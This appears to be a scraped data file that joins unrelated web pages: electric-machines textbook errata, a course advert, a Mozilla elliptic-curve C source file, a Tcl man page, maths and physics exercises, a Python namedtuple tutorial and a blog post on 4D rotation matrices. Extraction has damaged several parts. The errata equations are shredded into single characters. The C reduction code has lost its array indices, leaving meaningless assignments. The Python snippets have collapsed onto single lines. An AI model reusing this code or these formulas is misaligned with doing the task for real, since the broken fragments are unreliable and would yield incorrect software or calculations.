l\n2\n\nr\nA\n\n_\n,\n\n2\nN\n2\n4.2110\n3\nA\ni 0.0649 A\np. 622: Example 13.10, Solution, Analysis:\nP. 625: Practical facts about solenoids, text next to Figure 13.38\nbypassing the resistor through the NC switch, connecting the resistor in series\nbypassing the resistor through the NC switch. When the solenoid closes, the NC switch opens, connecting the\nresistor in series\np. 625: Figure 13.39 is not correct. Please refer to the following figure:\np. 626. Figure 13.42:\n39\nIn order to match the example, the gap should be shown as x = 5 cm rather than x = 0.5 cm. If the cm gap is used,\nthe required current will be approximately 200 mA.\nNote that in the example the value x = 0.05 m (5 cm) is used.\np. 630: text to the right of Figure 13.44\nThe Bli law just illustrated should read The Blu law just illustrated\np. 630: Equation 13.62:\n\nP\nM\nf\next\n\nP\nM\nf\next\nu Bliu\np. 641: Figure P13.41:\nThe electrical portion of this figure is incorrect. See the correction to Figure 13.39 above.\n40\nChapter 1 3ntroduction to Electric 4achines\np. 652: Example 14.1, Solution, Analysis\nThe equation:\n\nSR% ...\n1,8001760\n1,800\n...\n\nSR% ...\n1,8001760\n1, 760\n...\np. 658: Figure 14.11:\nN and S are reversed\np. 658: in the paragraph starting with Often\nThe north and south poles indicated in the figure are a consequence of the fact that the flux exits the bottom part of\nthe structure (thus, the north pole indicated in the figure) and enters the top half of the structure (thus, the south\npole).\nThe north and south poles indicated in the figure are a consequence of the fact that the flux exits the top part of the\nstructure (thus, the north pole indicated in the figure) and enters the bottom half of the structure (thus, the south\npole).\np. 679: Example 14.9, Solution, Analysis:\n\nK\nT,PM\nI\na\nt\n( )\n+ J\nd t\n( )\ndt\n+b t\n( )\nT\nt\n( )\n\nK\nT,PM\nI\na\nt\n( )\n+ J\nd t\n( )\ndt\n+b t\n( )\nT\nt\n( )\np. 679: The equation:\n\nK\nT,PM\nI\na\ns\n( )\n+ sJ +b\n( )\ns\n( )\nT\ns\n( )\n41\n\nK\nT,PM\nI\na\ns\n( )\n+ sJ +b\n( )\ns\n( )\nT\ns\n( )\np. 679: The equation:\n\nsL\na\n+ R\na\nK\na,PM\nK\nT,PM\nsJ +b\n\n1\n]\n1\nI\na\ns\n( )\n\nm\ns\n( )\n\n1\n]\n1\nV\nL\ns\n( )\nT\ns\n( )\n\n1\n]\n1\n\nsL\na\n+ R\na\nK\na,PM\nK\nT,PM\nsJ +b\n\n1\n]\n1\nI\na\ns\n( )\n\nm\ns\n( )\n\n1\n]\n1\nV\nL\ns\n( )\nT\ns\n( )\n\n1\n]\n1\np. 679: The equation:\n\nm\ns\n( )\n\ndet\nsL\na\n+ R\na\nV\nL\ns\n( )\nK\nT,PM\nT\ns\n( )\n\n1\n]\n1\ndet\nsL\na\n+ R\na\nK\na,PM\nK\nT,PM\nsJ +b\n\n1\n]\n1\n\nm\ns\n( )\n\ndet\nsL\na\n+ R\na\nV\nL\ns\n( )\nK\nT,PM\nT\ns\n( )\n\n1\n]\n1\ndet\nsL\na\n+ R\na\nK\na,PM\nK\nT,PM\nsJ +b\n\n1\n]\n1\np. 680: the equation at the top of the page should have a minus sign in front of T" ]

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[ "## Machine Learning\n\n Teacher:Certified Trainer Size:1 on 1 class Age:14-25 Years Duration:56 classes Fees:Call Us for details\n\nMachine learning refers to the process of enabling computer systems to learn with data using statistical techniques without being explicitly programmed. It is the process of active engagement with algorithms in order to enable them to learn from and make predictions on data.It is seen as a subset of artificial intelligence. Machine learning algorithms build a model based on sample data, known as \"training data\", in order to make predictions or decisions.The study of mathematical optimization delivers methods, theory and application domains to the field of machine learning.\n\n### Course Curriculum\n\n Python Programming 1. Variables 2. Numbers 3. String 4. List 5. Tuples 6. Dictionary 7. Comparison Operators 8. Conditional Statements(if, else, elif) 9. Loops Statement(for loop, while loop) 10.Functions 11.Modules NumPy 1. Introduction 2. Installation 3. Understanding of Numpy 4. Create a one dimensional Array 5. Create a two dimensional Array 6. Create a three dimensional Array 7. Mathematical Operations with Numpy", null, "Pandas 1. About Pandas(Introduction) 2. Installation 3. Panda Series 4. Data Frame 5. Read And Write Files using Pandas Function 6. Handling Missing Values Matplot Lib 1. Introduction 2. Line Plot 3. Scatter Plot Real Time Project (Hands On) 1. How to import Library 2. Types of Data 3. How to load various types of Data 4. Exploratory Data Analysis 5. Data Visualisation 6. Data Cleaning 7. Data Splitting/How to Split Data 8. Introduction to ML Algorithms-Linear Regression 9. Prepare data for ML model 10.Model Selection and train 11.ML model testing 12.Calculate Accuracy of ML Model 13.Presentation of Project\n\n+ Where are the classes conducted?\nLIVE ONLINE CLASSES\n+ Do i need any kits/models for the course\n+ Is certificate provided to students on completion of course?\n+ How many sessions are conducted?\n+ Is Cover up class provided to student incase he/she misses a class?", null, "" ]

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[ "DXR is a code search and navigation tool aimed at making sense of large projects. It supports full-text and regex searches as well as structural queries.\n\n#### Untracked file\n\nLine Code\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177\n``````/*\n`````` * ***** BEGIN LICENSE BLOCK *****\n`````` * Version: MPL 1.1/GPL 2.0/LGPL 2.1\n`````` *\n`````` * The contents of this file are subject to the Mozilla Public License Version\n`````` * 1.1 (the \"License\"); you may not use this file except in compliance with\n`````` * the License. You may obtain a copy of the License at\n`````` * http://www.mozilla.org/MPL/\n`````` *\n`````` * Software distributed under the License is distributed on an \"AS IS\" basis,\n`````` * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n`````` * for the specific language governing rights and limitations under the\n`````` * License.\n`````` *\n`````` * The Original Code is the elliptic curve math library for prime field curves using floating point operations.\n`````` *\n`````` * The Initial Developer of the Original Code is\n`````` * Sun Microsystems, Inc.\n`````` * Portions created by the Initial Developer are Copyright (C) 2003\n`````` * the Initial Developer. All Rights Reserved.\n`````` *\n`````` * Contributor(s):\n`````` * Stephen Fung <[email protected]>, Sun Microsystems Laboratories\n`````` *\n`````` * Alternatively, the contents of this file may be used under the terms of\n`````` * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n`````` * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n`````` * in which case the provisions of the GPL or the LGPL are applicable instead\n`````` * of those above. If you wish to allow use of your version of this file only\n`````` * under the terms of either the GPL or the LGPL, and not to allow others to\n`````` * use your version of this file under the terms of the MPL, indicate your\n`````` * decision by deleting the provisions above and replace them with the notice\n`````` * and other provisions required by the GPL or the LGPL. If you do not delete\n`````` * the provisions above, a recipient may use your version of this file under\n`````` * the terms of any one of the MPL, the GPL or the LGPL.\n`````` *\n`````` * ***** END LICENSE BLOCK ***** */\n``````\n``````#include \"ecp_fp.h\"\n``````#include <stdlib.h>\n``````\n``````#define ECFP_BSIZE 192\n``````#define ECFP_NUMDOUBLES 8\n``````\n``````#include \"ecp_fpinc.c\"\n``````\n``````/* Performs a single step of reduction, just on the uppermost float\n`````` * (assumes already tidied), and then retidies. Note, this does not\n`````` * guarantee that the result will be less than p. */\n``````void\n``````ecfp192_singleReduce(double *d, const EC_group_fp * group)\n``````{\n``````\tdouble q;\n``````\n``````\tECFP_ASSERT(group->doubleBitSize == 24);\n``````\tECFP_ASSERT(group->primeBitSize == 192);\n``````\tECFP_ASSERT(group->numDoubles == 8);\n``````\n``````\tq = d[ECFP_NUMDOUBLES - 1] - ecfp_beta_192;\n``````\tq += group->bitSize_alpha;\n``````\tq -= group->bitSize_alpha;\n``````\n``````\td[ECFP_NUMDOUBLES - 1] -= q;\n``````\td += q * ecfp_twom192;\n``````\td += q * ecfp_twom128;\n``````\tecfp_positiveTidy(d, group);\n``````}\n``````\n``````/*\n`````` * Performs imperfect reduction. This might leave some negative terms,\n`````` * and one more reduction might be required for the result to be between 0\n`````` * and p-1. x should be be an array of at least 16, and r at least 8 x and\n`````` * r can be the same, but then the upper parts of r are not zeroed */\n``````void\n``````ecfp_reduce_192(double *r, double *x, const EC_group_fp * group)\n``````{\n``````\tdouble x8, x9, x10, q;\n``````\n``````\tECFP_ASSERT(group->doubleBitSize == 24);\n``````\tECFP_ASSERT(group->primeBitSize == 192);\n``````\tECFP_ASSERT(group->numDoubles == 8);\n``````\n``````\t/* Tidy just the upper portion, the lower part can wait */\n``````\tecfp_tidyUpper(x, group);\n``````\n``````\tx8 = x + x * ecfp_twom128;\t/* adds bits 16-40 */\n``````\tx9 = x + x * ecfp_twom128;\t/* adds bits 16-40 */\n``````\n``````\t/* Tidy up, or we won't have enough bits later to add it in */\n``````\n``````\tq = x8 + group->alpha;\n``````\tq -= group->alpha;\n``````\tx8 -= q;\n``````\tx9 += q;\n``````\n``````\tq = x9 + group->alpha;\n``````\tq -= group->alpha;\n``````\tx9 -= q;\n``````\tx10 = x + q;\n``````\n``````\tr = x + x * ecfp_twom192 + x * ecfp_twom128;\t/* adds\n``````\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t * bits\n``````\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t * 0-40 */\n``````\tr = x + x * ecfp_twom192 + x * ecfp_twom128;\n``````\tr = x + x * ecfp_twom192 + x * ecfp_twom128;\n``````\tr = x + x * ecfp_twom192 + x10 * ecfp_twom128;\n``````\tr = x + x * ecfp_twom192 + x9 * ecfp_twom128;\t/* adds bits\n``````\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t * 0-40 */\n``````\tr = x + x10 * ecfp_twom192 + x8 * ecfp_twom128;\n``````\tr = x + x9 * ecfp_twom192;\t/* adds bits 16-40 */\n``````\tr = x + x8 * ecfp_twom192;\n``````\n``````\t/*\n``````\t * Tidy up just r[group->numDoubles-2] so that the number of\n``````\t * reductions is accurate plus or minus one. (Rather than tidy all to\n``````\t * make it totally accurate) */\n``````\tq = r[ECFP_NUMDOUBLES - 2] + group->alpha[ECFP_NUMDOUBLES - 1];\n``````\tq -= group->alpha[ECFP_NUMDOUBLES - 1];\n``````\tr[ECFP_NUMDOUBLES - 2] -= q;\n``````\tr[ECFP_NUMDOUBLES - 1] += q;\n``````\n``````\t/* Tidy up the excess bits on r[group->numDoubles-1] using reduction */\n``````\t/* Use ecfp_beta so we get a positive res */\n``````\tq = r[ECFP_NUMDOUBLES - 1] - ecfp_beta_192;\n``````\tq += group->bitSize_alpha;\n``````\tq -= group->bitSize_alpha;\n``````\n``````\tr[ECFP_NUMDOUBLES - 1] -= q;\n``````\tr += q * ecfp_twom192;\n``````\tr += q * ecfp_twom128;\n``````\n``````\t/* Tidy the result */\n``````\tecfp_tidyShort(r, group);\n``````}\n``````\n``````/* Sets group to use optimized calculations in this file */\n``````mp_err\n``````ec_group_set_nistp192_fp(ECGroup *group)\n``````{\n``````\tEC_group_fp *fpg;\n``````\n``````\t/* Allocate memory for floating point group data */\n``````\tfpg = (EC_group_fp *) malloc(sizeof(EC_group_fp));\n``````\tif (fpg == NULL) {\n``````\t\treturn MP_MEM;\n``````\t}\n``````\n``````\tfpg->numDoubles = ECFP_NUMDOUBLES;\n``````\tfpg->primeBitSize = ECFP_BSIZE;\n``````\tfpg->orderBitSize = 192;\n``````\tfpg->doubleBitSize = 24;\n``````\tfpg->numInts = (ECFP_BSIZE + ECL_BITS - 1) / ECL_BITS;\n``````\tfpg->aIsM3 = 1;\n``````\tfpg->ecfp_singleReduce = &ecfp192_singleReduce;\n``````\tfpg->ecfp_reduce = &ecfp_reduce_192;\n``````\tfpg->ecfp_tidy = &ecfp_tidy;\n``````\n``````\tfpg->pt_add_jac_aff = &ecfp192_pt_add_jac_aff;\n``````\tfpg->pt_add_jac = &ecfp192_pt_add_jac;\n``````\tfpg->pt_add_jm_chud = &ecfp192_pt_add_jm_chud;\n``````\tfpg->pt_add_chud = &ecfp192_pt_add_chud;\n``````\tfpg->pt_dbl_jac = &ecfp192_pt_dbl_jac;\n``````\tfpg->pt_dbl_jm = &ecfp192_pt_dbl_jm;\n``````\tfpg->pt_dbl_aff2chud = &ecfp192_pt_dbl_aff2chud;\n``````\tfpg->precompute_chud = &ecfp192_precompute_chud;\n``````\tfpg->precompute_jac = &ecfp192_precompute_jac;\n``````\n``````\tgroup->point_mul = &ec_GFp_point_mul_wNAF_fp;\n``````\tgroup->points_mul = &ec_pts_mul_basic;\n``````\tgroup->extra1 = fpg;\n``````\tgroup->extra_free = &ec_GFp_extra_free_fp;\n``````\n``````\tec_set_fp_precision(fpg);\n``````\tfpg->bitSize_alpha = ECFP_TWO192 * fpg->alpha;\n``````\n``````\treturn MP_OKAY;\n``````}\n``````" ]

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[ "# for - Man Page\n\n'For' loop\n\n## Synopsis\n\n`for start test next body`\n\n## Description\n\nFor is a looping command, similar in structure to the C for statement.  The start, next, and body arguments must be Tcl command strings, and test is an expression string. The for command first invokes the Tcl interpreter to execute start.  Then it repeatedly evaluates test as an expression; if the result is non-zero it invokes the Tcl interpreter on body, then invokes the Tcl interpreter on next, then repeats the loop.  The command terminates when test evaluates to 0.  If a continue command is invoked within body then any remaining commands in the current execution of body are skipped; processing continues by invoking the Tcl interpreter on next, then evaluating test, and so on.  If a break command is invoked within body or next, then the for command will return immediately. The operation of break and continue are similar to the corresponding statements in C. For returns an empty string.\n\nNote: test should almost always be enclosed in braces.  If not, variable substitutions will be made before the for command starts executing, which means that variable changes made by the loop body will not be considered in the expression. This is likely to result in an infinite loop.  If test is enclosed in braces, variable substitutions are delayed until the expression is evaluated (before each loop iteration), so changes in the variables will be visible. See below for an example:\n\n## Examples\n\nPrint a line for each of the integers from 0 to 9:\n\n```for {set x 0} {\\$x<10} {incr x} {\nputs \"x is \\$x\"\n}```\n\nEither loop infinitely or not at all because the expression being evaluated is actually the constant, or even generate an error!  The actual behaviour will depend on whether the variable x exists before the for command is run and whether its value is a value that is less than or greater than/equal to ten, and this is because the expression will be substituted before the for command is executed.\n\n```for {set x 0} \\$x<10 {incr x} {\nputs \"x is \\$x\"\n}```\n\nPrint out the powers of two from 1 to 1024:\n\n```for {set x 1} {\\$x<=1024} {set x [expr {\\$x * 2}]} {\nputs \"x is \\$x\"\n}```" ]

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[ "Specific Place Values Numbers, such as 784, have three digits.  Each digit is a different place value.   The first digit is called the hundreds' place.  It tells you how many sets of one hundred are in the number.  The number 784 had seven hundreds.  The middle digit is the tens' place.  It tells you that there are 8 tens in addition to the seven hundreds.  The last or right digit is the ones' place which is 4 in this example.  Therefore, there are 7 sets of 100, plus 8 sets of 10, plus 4 ones in the number 784.   ```   7 8 4   | | |__ones' place   | |_________tens' place   |________________hundreds' place ``` Return to Top\n\n#### Finding Place Values\n\n What is the place value for      in the number" ]

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[ "## My Luck Day - 3 No Trump!\n\nI play bridge with some friends of mine. Recently, I got dealt a hand which had more high card points in it than I had ever seen: 26. Later that evening, I got another strong hand of 25 points! The proper opening bid for these situations is 3 no trump.\n\nThis got me to wondering what the probability of getting a hand like this would be (assuming the cards were shuffled properly). So, I wrote a quick and dirty Python program to simulate large number of hands and count the occurrences of the possible initial high card points. On the following graph, the x axis is the high card count, while the y axis is the percentage of times that count occurs. Note that this data is from a simulation, and is not exact.", null, "The specific probability of 26 points is about 0.011842% or 1 in 8,444 hands. The chances for 25 points is about 1 in 3,703 hands.\n\nIt is interesting to note that in the 10 million hands I generated, not one of them had 33 points or more. Maybe next time I'll get one of those :-)\n\nHere is the code I used:\n\n`import randoma = []for i in range(0,4): for j in range(0,4): a.append(j + 1) for j in range(0,9): a.append(0)d = []for i in range(0,41): d.append(0)for c in xrange(1,9999999): random.shuffle(a) s = sum(a[0:13]) d[s] += 1 if c % 10000 == 0: print c for i in xrange(0,41): print '%2d: %f %d' % (i, 100.0 * d[i] / c, d[i])`", null, "" ]

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[ "# A simple pendulum of length 1 m is oscillating with an angular frequency 10 rad/s. The support of the pendulum starts oscillating up and down with a small angular frequency of 1 rad/s and amplitude of 10−2 m. The relative change in the angular frequency of the pendulum is best given by a. 10−3 rad/s b. 10−1 rad/s c. 1 rad/s d. 10−5 rad/s\n\n## Question ID - 50344 :- A simple pendulum of length 1 m is oscillating with an angular frequency 10 rad/s. The support of the pendulum starts oscillating up and down with a small angular frequency of 1 rad/s and amplitude of 10−2 m. The relative change in the angular frequency of the pendulum is best given by a. 10−3 rad/s b. 10−1 rad/s c. 1 rad/s d. 10−5 rad/s\n\n3537\n\nAngular  frequency of pendulum", null, "=", null, "", null, "", null, "=", null, "", null, "", null, "=", null, "", null, "×", null, "[", null, "= angular frequency of support]", null, "=", null, "", null, "×", null, "", null, "= 10−3   rad/sec.\n\nNext Question :\n\nTwo rods A and B of identical dimensions are at temperature 30°C. If A is heated upto 180°C and B upto T°C, then the new lengths are the same. If the ratio of the coefficients of linear expansion of A and B is 4 : 3, then the value of T is :\n\n a. 270", null, "C b. 230", null, "C c. 250", null, "d. 200", null, "", null, "" ]

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[ "Rings and categories with zero Grothendieck group\n\nI am interested in examples of rings (or triangulated categories) that have zero Grothendieck group but are somehow still interesting. More example, for what rings $$R$$ is the category of finitely-generated projective $$R$$-modules have zero Grothendieck group? I recently learned that the category of all modules has zero Grothendieck group: if $$M$$ is any $$R$$-module, then $$M \\oplus M^{\\oplus \\infty} \\cong M^{\\oplus \\infty}$$ and so $$M$$ is zero in the Grothendieck group. I also know that \"infinite sum rings\" with the property that $$R \\oplus R \\cong R$$ have vanishing Grothendieck group. I would like some \"smaller\" examples of rings with vanishing Grothendieck group. Also, such an $$R$$ cannot be commutative ring, since commutative rings have invariant basis property and hence have non-zero Grothendieck group.\n\nIt is easy to construct categories that are not split-closed where the Grothendieck group is zero. For example, suppose that some triangulated is generated by an object $$A$$. Then the subcategory generated by $$A \\oplus A$$ has zero Grothendieck group because the shift acts like $$-1$$ in the Grothendieck group; however this category is not split-closed since the projective object $$A$$ is not in the category. So I would like an example of a split-closed category that has zero Grothendieck group.\n\nMaybe an easier but less concrete question: what does the vanishing of the Grothendieck group imply? By a note in a paper of Thomason, $$D$$ is zero in the Grothendieck group if there exist $$A,B,C$$ and exact triangles $$A \\rightarrow B \\oplus D \\rightarrow C \\rightarrow$$ and $$A \\rightarrow B \\rightarrow C \\rightarrow$$ but this is not very enlightening. Does someone have another interpretation?" ]

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[ "# Python NamedTuples: How They Help You to Write Readable Code\n\nWith easy to follow examples for beginners", null, "Photo by Bench Accounting on Unsplash\n\nPython comes with many specialised data types. In this article, I will try to explain NamedTuples by providing easy-to-follow examples for the beginners.\n\n# What is ‘NamedTuple’ Data Type?\n\nNamedTuple is basically an extension of the Python built-in tuple data type. Here is how doc.python.org defines the NamedTuples;\n\nNamed tuples assign meaning to each position in a tuple and allow for more readable, self-documenting code. They can be used wherever regular tuples are used, and they add the ability to access fields by name instead of position index\n\nTo understand NamedTuples further, let’s first recall what the Python tuples are.\n\nPython tuples are;\n\n• immutable objects: values inside a tuple object cannot be revised after creation.\n• sequence type data structures that allow accessing items contained with the 0-based integer positional index.\n`a_tuple = tuple()a_tuple = (1,2,3,4,5)print (a_tuple) #accessing the element with only positional indexa_tuple = 10 #tuples are immutable so you can not revise themOutput:3TypeError: 'tuple' object does not support item assignment`\n\nThe downsides of the tuples;\n\n• You can access the elements of tuple only with the positional index. If you need to get a specific item from a tuple object, you should know the index number of that specific item. In addition, using indexing in such cases will harm the readability of your code.\n• While using tuples to store data that a function returns, you have to ensure the correct order of the elements.\n\nLet’s understand how NamedTupes solve these issues in the following chapter.\n\n# How They Help Writing Clean Code\n\nNamesTuples come to solve these issues, here is how;\n\n• Each element contained in NamedTuples can be accessed through a unique and human-readable identifier. So you don’t have to remember integer indexes.\n• Since you can use human-readable identifier instead of integer positional index, code readability increases and you can better express your intentions.\n• While using NamedTuples to store data that a function returns, you don’t need to consider the order of the elements.\n\nLet’s see in the code snippets below, how they solve above-mentioned issues;\n\n`from collections import namedtupleimport mathPolar_Coordinate = namedtuple('Polar_Coordinate', 'r theta')def convert_cartesian_to_polar(x, y): #Calculate Polar Cooordinates r0 = (x**2 + y**2)**0.5 theta0 = math.atan2(y,x) #Convert from radians to degrees theta0 = math.degrees(theta0) return Polar_Coordinate(theta=theta0, r=r0)box_position = convert_cartesian_to_polar(10, 10)print(box_position)print(box_position.r)print(box_position.theta)print(type(box_position))Output:Polar_Coordinate(r=14.142135623730951, theta=45.0) 14.142135623730951 45.0 <class '__main__.Polar_Coordinate'>`\n\nAs you can see above, with the help of the NamedTuples we can access the items with their names, which are r and theta respectively.\n\n# Key Takeaways and Conclusion\n\nIn this short article, I have explained Python namedtuples and how they help you to write readable code. The key takeaways are;\n\n• You can access the elements of tuple only with the positional index. If you need to get a specific item from a tuple object, you should know the index number of that specific item. NamedTuples are introduced to solve this problem.\n• Each element contained in NamedTuples can be accessed through a unique and human-readable identifier. So you don’t have to remember integer indexes.\n• Since you can use human-readable identifier instead of integer positional index, code readability increases and you can better express your intentions.\n\nI hope you have found the article useful and you will start using Python namedtuples in your own code.\n\nMachine Learning and Data Science Enthusiasts, Automotive Engineer, Mechanical Engineer, https://www.linkedin.com/in/erdem-isbilen/\n\n## More from Erdem Isbilen\n\nMachine Learning and Data Science Enthusiasts, Automotive Engineer, Mechanical Engineer, https://www.linkedin.com/in/erdem-isbilen/" ]

[ null, "https://miro.medium.com/max/60/0*fs59Ut0TV5E1eHJa", null ]

[ "Is 6490 a prime number? What are the divisors of 6490?\n\n## Parity of 6 490\n\n6 490 is an even number, because it is evenly divisible by 2: 6 490 / 2 = 3 245.\n\nFind out more:\n\n## Is 6 490 a perfect square number?\n\nA number is a perfect square (or a square number) if its square root is an integer; that is to say, it is the product of an integer with itself. Here, the square root of 6 490 is about 80.561.\n\nThus, the square root of 6 490 is not an integer, and therefore 6 490 is not a square number.\n\n## What is the square number of 6 490?\n\nThe square of a number (here 6 490) is the result of the product of this number (6 490) by itself (i.e., 6 490 × 6 490); the square of 6 490 is sometimes called \"raising 6 490 to the power 2\", or \"6 490 squared\".\n\nThe square of 6 490 is 42 120 100 because 6 490 × 6 490 = 6 4902 = 42 120 100.\n\nAs a consequence, 6 490 is the square root of 42 120 100.\n\n## Number of digits of 6 490\n\n6 490 is a number with 4 digits.\n\n## What are the multiples of 6 490?\n\nThe multiples of 6 490 are all integers evenly divisible by 6 490, that is all numbers such that the remainder of the division by 6 490 is zero. There are infinitely many multiples of 6 490. The smallest multiples of 6 490 are:\n\n## Numbers near 6 490\n\n### Nearest numbers from 6 490\n\nFind out whether some integer is a prime number" ]

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[ "# Sideband #65: 4D Rotation", null, "This is a Sideband to the previous post, The 4th Dimension. It’s for those who want to know more about the rotation discussed in that post, specifically with regard to axes involved with rotation versus axes about which rotation occurs.\n\nThe latter, rotation about (or around) an axis, is what we usually mean when we refer to a rotation axis. A key characteristic of such an axis is that coordinate values on that axis don’t change during rotation. Rotating about (or on or around) the Y axis means that the Y coordinate values never change.\n\nIn contrast, an axis involved with rotation changes its associated coordinate values according to the angle of rotation. The difference is starkly apparent when we look at rotation matrices.\n\nI’m not going to assume any special familiarity with transformation matrices. (If you’re curious, see the Matrix Magic post.) This is mostly going to be about what those matrices look like.\n\nHere you can just take me on faith on these two points:\n\n¶ If we take the cosine and sine of an angle, we get X and Y values that plot a circle (with a radius of one). If we reverse it, use sine for X and cosine for Y, we get the same circle, except it’s rotated 90 degrees.\n\n(Not that we could tell visually unless we marked, for instance, the points where the angle was zero. In the first example, we’d mark point [1,0]; in the second, we’d mark point [0,1].)\n\n¶ A rotation matrix is a transformation matrix whose transform is to rotate the space.\n\nAll you need to know is we view the vertical columns of the matrix as pointers that (literally) point to the transformation (rotation, in this case). For now, from left to right, we’ll call them X, Y, Z, & W.\n\n(Assuming we need all four. If we need two, it’s X & Y. If three, X, Y, & Z.)\n\n§\n\nThat’s all we really need to notice something important about rotation matrices.\n\nLet’s take a look at this one:", null, "This describes rotation about the vertical (Y) axis. The two involved axes are X and Z. We can tell this just by looking at the matrix.\n\nThe middle vertical column, the Y column, from top to bottom, reads [0,1,0]. This means all Y coordinate values are preserved in the transformation.\n\nIn other words, no Y values change. That is the definition of an axis of rotation.\n\nThe left and right columns, X and Z, both have a cosinesine pair. And note that one is reversed from the other (don’t worry about the minus sign for now).\n\nThis means: both X and Z coordinate values change; they change in a circular way; X and Z are 90° from each other (because of the reversed sinecosine).\n\nAll together, that means X and Z coordinates rotate around the Y axis.\n\n(An additional detail: The middle zero in the X and Z pointers — their Y value — tells us that they leave the Y value alone.)\n\n§\n\nHere’s another 3D rotation matrix:", null, "This one, as should be apparent, rotates about the X axis and involves the Y & Z axes.\n\nThe left column, the X pointer, has the fixed value [1,0,0], which means the X coordinates won’t change.\n\nThe Y and Z pointers have the cosinesine pairs that involve rotation. Notice how they have the same basic form, just in other parts of the matrix.\n\n(The zeros in their X values indicate they don’t change X coordinates during rotation.)\n\n§\n\nHere’s the final 3D rotation matrix:", null, "You could almost guess this has to be the Z axis, and — as the matrix makes clear — you’d be right.\n\nIt’s the same deal as the first two, just rearranged a bit.\n\n§\n\nThat repeated pattern of cosine-sine stands alone if we look at a 2D (proper) rotation matrix:", null, "Notice how it looks exactly like the upper left corner of the Z axis rotation matrix. That’s because they are essentially the same thing.\n\nWhen we rotate, say, a piece of paper, all the points move; all the points rotate about the center. Thus, the matrix also changes everything. No ones or zeros.\n\nThis is what does the actual work of rotation (hence the name involved axes).\n\n§\n\nIf you got this far, 4D is easy, almost trivial.\n\n1. In 2D, we have the one proper rotation (shown above).\n2. In 3D, we have three proper rotations (also shown above).\n3. In 4D, there are six proper rotations!\n\nIn the same way the 2D (Z axis) rotation is included in the three 3D rotations, the three 3D rotations are included in the six 4D rotations.\n\nSo the first three will look familiar. Here they are in the same order as presented above.", null, "That’s a rotation about the Y axis (and the W axis). That is, Y and W coordinates don’t change. The involved axes, exactly as above, are X & Z.", null, "That’s a rotation about the X axis (and the W axis), with Y & Z involved.", null, "And that’s a rotation about the Z axis (and W), with X & Y involved.\n\nThese three rotations of a 4D object would just rotate it “normally” from our 3D perspective. A rotating tesseract would look like a rotating cube.\n\nThere is an interesting question about whether one could physically rotate a 4D object from only three dimensions. It requires moving fourth dimension points.\n\nCould Flatlanders move a 3D cube that had intruded into Flatland? An interesting question. (What if it was attached somewhere in 3D Land?)\n\n§\n\nFrom a 4D perspective, there are three other proper rotations (all involve the W axis):", null, "This is the rotation discussed in detail in the previous post. It’s the first rotation mode of the tesseract in the video.", null, "This is the second tesseract rotation mode. You can see the Y axis is involved, and so the motion is vertical.", null, "And this is the third tesseract rotation mode. This involves the Z axis, so the motion is front-to-back.\n\n§\n\nIf you use one of the last three transforms to rotate a 3D cube, you get an improper rotation of the cube.\n\nThat is, you end up reflecting or mirroring the cube and reversing the order of its points. This happens because the 3D cube is rotated through the fourth dimension.\n\n§\n\nWith all that in mind (and the previous post), this should now make some degree of sense:\n\nYou should now be able to see and have some understanding of the three rotation modes the tesseract makes.\n\n(And, if not, that’s okay. After all, you’re only three-dimensional!)\n\n§\n\nI’ll leave off today (and probably for some time to come) with another work in progress that demonstrates a cube being improperly rotated.\n\nThat is to say, it’s being rotated through the fourth dimension, which turns it “backwards” until it’s rotated back again:\n\nAs the camera descends, the cube is spinning properly on its Y axis. After pointing out the order of the corners, the video shows rotation into the W dimension as first horizontal movement (of varying degree), then vertical movement, and finally a combination of both.\n\nIt also shows what the rotation looks like if the W dimension isn’t rendered. Then the cube appears to shrink to a 2D plane before growing back to full size, but reversed. The full rotation reverses it back again.\n\n(As I said, a work in progress.)\n\n§\n\nAnd on that note (or set of notes), I’m done talking about the fourth physical dimension for a while. And no more transformation matrices, I promise!\n\nI am planning to talk a lot about phase space (which has as many dimensions as necessary, but they’re all virtual). It continues a topic I started when this blog first began, and it’s (I think) one of the best tricks since sliced bread.\n\nI think it’s a really useful tool for looking at life!\n\nStay 3D, my friends!", null, "The canonical fool on the hill watching the sunset and the rotation of the planet and thinking what he imagines are large thoughts. View all posts by Wyrd Smythe\n\n#### 5 responses to “Sideband #65: 4D Rotation”\n\n•", null, "Wyrd Smythe\n\nAnother poor unloved post. You didn’t even get any likes!\n\nDon’t worry, post, I care! 😀\n\n•", null, "Wyrd Smythe\n\nIt’s funny. I’ve been chewing on this 4D stuff for a few years, and now that I’ve finally answered all the questions I had, and now that I have a good understanding of tesseractae,… I need a new project!\n\n•", null, "Wyrd Smythe\n\nHere’s a lecture by Matt Parker about 4D:\n\nHe doesn’t really get into the 4D until about halfway through, and doesn’t get too deeply into it (the lecture is for a family audience), but he did confirm some things I’d found, which was nice.\n\nFWIW, it’s intended to be a comedic lecture about maths, and Parker is a good speaker, so it’s fun and worth watching if you have any interest in maths.\n\n•", null, "James\n\nLoved your post! It’s just what I was looking for. I needed the rotation matrices for simple rotations about the various axes without an infinitely recursive wikipedia search into arcane math terms of which only Professors of Topology have any real understanding.\n\n•", null, "Wyrd Smythe\n\nThank you! I’m glad you found it useful." ]

